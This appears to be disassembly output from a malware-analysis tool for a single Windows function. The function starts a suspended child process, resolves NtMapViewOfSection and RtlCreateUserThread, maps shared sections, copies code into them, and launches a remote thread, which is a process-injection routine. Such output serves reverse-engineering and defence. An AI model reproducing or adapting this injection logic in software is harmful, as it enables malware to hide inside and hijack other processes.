Function at 0x410030
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
mov dword [ebp - 0xc], 0
push 0x44
lea eax, [ebp - 0x70]
push eax
call fcn.0041e7f0
add esp, 8
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x44], 0x81
xor ecx, ecx
mov word [ebp - 0x40], cx
mov edx, dword [ebp + 0x18]
neg edx
sbb edx, edx
and edx, 4
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x70]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp - 0x24]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
push 0
call dword [0x48c0e8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x410831
push 0x433b44
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x78], eax
push 0x433b58
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x88], eax
push str.NtMapViewOfSection
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
push str.RtlCreateUserThread
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7c], eax
push str.NtUnmapViewOfSection
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x80], eax
push str.NtClose
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x88], 0
je 0x4107fd
cmp dword [ebp - 0x90], 0
je 0x4107fd
cmp dword [ebp - 0x7c], 0
je 0x4107fd
cmp dword [ebp - 0x80], 0
je 0x4107fd
cmp dword [ebp - 0x84], 0
je 0x4107fd
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
add ecx, 0x18
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0x91c
mov dword [ebp - 0x94], 0
push 0
push 0x8000000
push 4
lea edx, [ebp - 0x98]
push edx
push 0
push 6
lea eax, [ebp - 0x9c]
push eax
call dword [0x48c090]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107fd
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0x91c
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107f0
mov dword [ebp - 0xb4], 0
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107df
mov dword [ebp - 0xc4], 0
mov edx, 0x411420
sub edx, 0x410840
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
push 0
push 0x8000000
push 0x40
lea edx, [ebp - 0xc0]
push edx
push 0
push 0xe
lea eax, [ebp - 0xc4]
push eax
call dword [0x48c090]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107df
mov dword [ebp - 0xc8], 0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xcc], ecx
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107d2
mov dword [ebp - 0xd0], 0
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc4]
push edx
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107c1
mov eax, dword [ebp - 0xb8]
push eax
push 0x410840
mov ecx, dword [ebp - 0xc8]
push ecx
call fcn.004231d0
add esp, 0xc
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0xd4], edx
push 0x433bb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0xd8], eax
push 0x433bcc
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
push 0x433bdc
mov edx, dword [ebp - 0xd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx + 4], eax
push 0x433bec
mov edx, dword [ebp - 0xd4]
add edx, 8
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x433c08
mov eax, dword [ebp - 0xd4]
add eax, 0xd2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x433c20
mov ecx, dword [ebp - 0xd4]
add ecx, 0x266
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c28
mov edx, dword [ebp - 0xd4]
add edx, 0x2ca
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c38
mov eax, dword [ebp - 0xd4]
add eax, 0x32e
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c44
mov ecx, dword [ebp - 0xd4]
add ecx, 0x3f6
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c54
mov edx, dword [ebp - 0xd4]
add edx, 0x45a
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c60
mov eax, dword [ebp - 0xd4]
add eax, 0x4be
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c6c
mov ecx, dword [ebp - 0xd4]
add ecx, 0x522
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c78
mov edx, dword [ebp - 0xd4]
add edx, 0x586
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433c84
mov eax, dword [ebp - 0xd4]
add eax, 0x5ea
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0xdc], edx
push 0
push 0x8000000
push 4
lea eax, [ebp - 0xe0]
push eax
push 0
push 6
lea ecx, [ebp - 0xe4]
push ecx
call dword [0x48c090]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107c1
mov dword [ebp - 0xec], 0
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xe8], edx
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0xe4]
push edx
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107b4
mov dword [ebp - 0xf0], 0
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xf0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x48c094]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4107a3
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xec]
push eax
call fcn.004231d0
add esp, 0xc
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xf0]
mov dword [ecx + 0x914], edx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x918], ecx
mov dword [ebp - 0xf4], 0
mov edx, dword [ebp + 0x20]
push edx
push 0
push 1
push 0
call dword [0x48c0e4]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x4107a3
mov dword [ebp - 0xf8], 0
push 0
lea eax, [ebp - 0xf8]
push eax
mov ecx, dword [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48c09c]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x410796
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x1c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [edx + 4], eax
push 0xbb8
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x48c0f4]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x102
je 0x410761
mov edx, dword [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48c098]
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x48c098]
mov eax, dword [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48c098]
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [0x48c098]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x48c098]
mov eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [0x48c098]
mov edx, dword [ebp - 0x9c]
push edx
call dword [0x48c0ac]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x48c0ac]
mov ecx, dword [ebp - 0xe4]
push ecx
call dword [0x48c0ac]
mov edx, dword [ebp - 0xf4]
push edx
call dword [0x48c0cc]
mov eax, 1
jmp 0x410833
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48c100]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48c0cc]
mov edx, dword [ebp - 0x18]
push edx
call dword [0x48c0cc]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xf4]
push eax
call dword [0x48c0cc]
mov ecx, dword [ebp - 0xec]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x48c098]
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x48c0ac]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x48c098]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x48c0ac]
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x48c098]
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x48c0ac]
cmp dword [ebp - 0xc], 0
jne 0x410831
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48c100]
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x48c0cc]
mov eax, dword [ebp - 0x18]
push eax
call dword [0x48c0cc]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
xor eax, eax
mov esp, ebp
pop ebp
ret